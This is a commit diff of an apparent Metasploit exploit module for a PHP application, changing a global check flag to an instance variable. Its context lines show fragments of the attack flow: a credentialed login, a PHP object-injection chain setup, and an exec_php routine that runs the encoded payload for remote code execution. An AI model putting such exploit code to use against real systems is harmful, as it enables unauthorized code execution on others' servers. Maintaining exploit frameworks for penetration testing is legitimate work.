@@ -60,7 +60,7 @@ def setup_popchain(random_param)
60
60
61
61
unless res && ( res . code == 201 || res . code == 200 ) && res . body
62
62
msg = "Login failed with #{ user } :#{ pass } "
63
- if $is_check then print_error ( msg ) end
63
+ print_error ( msg ) if @is_check
64
64
fail_with ( Failure ::NoAccess , msg )
65
65
end
66
66
@@ -94,7 +94,7 @@ def setup_popchain(random_param)
94
94
95
95
unless res && res . code == 200
96
96
msg = "Something went wrong"
97
- if $is_check then print_error ( msg ) end
97
+ print_error ( msg ) if @is_check
98
98
fail_with ( Failure ::UnexpectedReply , msg )
99
99
end
100
100
end
@@ -116,7 +116,7 @@ def do_login
116
116
end
117
117
else
118
118
msg = "Failed to retrieve the login page"
119
- if $is_check then print_error ( msg ) end
119
+ print_error ( msg ) if @is_check
120
120
fail_with ( Failure ::NoAccess , msg )
121
121
end
122
122
@@ -132,7 +132,7 @@ def do_login
132
132
133
133
unless res && res . code == 302
134
134
msg = "Login failed with #{ user } :#{ pass } "
135
- if $is_check then print_error ( msg ) end
135
+ print_error ( msg ) if @is_check
136
136
fail_with ( Failure ::NoAccess , msg )
137
137
end
138
138
@@ -157,14 +157,14 @@ def exec_php(php_code)
157
157
158
158
if res && res . code == 200 && res . body =~ /Exiting with Error/
159
159
msg = "No access to Artifact ID #{ datastore [ 'AID' ] } "
160
- $ is_check ? print_error ( msg ) : fail_with ( Failure ::NoAccess , msg )
160
+ @ is_check ? print_error ( msg ) : fail_with ( Failure ::NoAccess , msg )
161
161
end
162
162
163
163
res
164
164
end
165
165
166
166
def check
167
- $ is_check = true
167
+ @ is_check = true
168
168
flag = rand_text_alpha ( rand ( 10 ) +20 )
169
169
res = exec_php ( "print '#{ flag } ';" )
170
170
@@ -178,7 +178,7 @@ def check
178
178
end
179
179
180
180
def exploit
181
- $ is_check = false
181
+ @ is_check = false
182
182
exec_php ( payload . encoded )
183
183
end
184
184
end
0 commit comments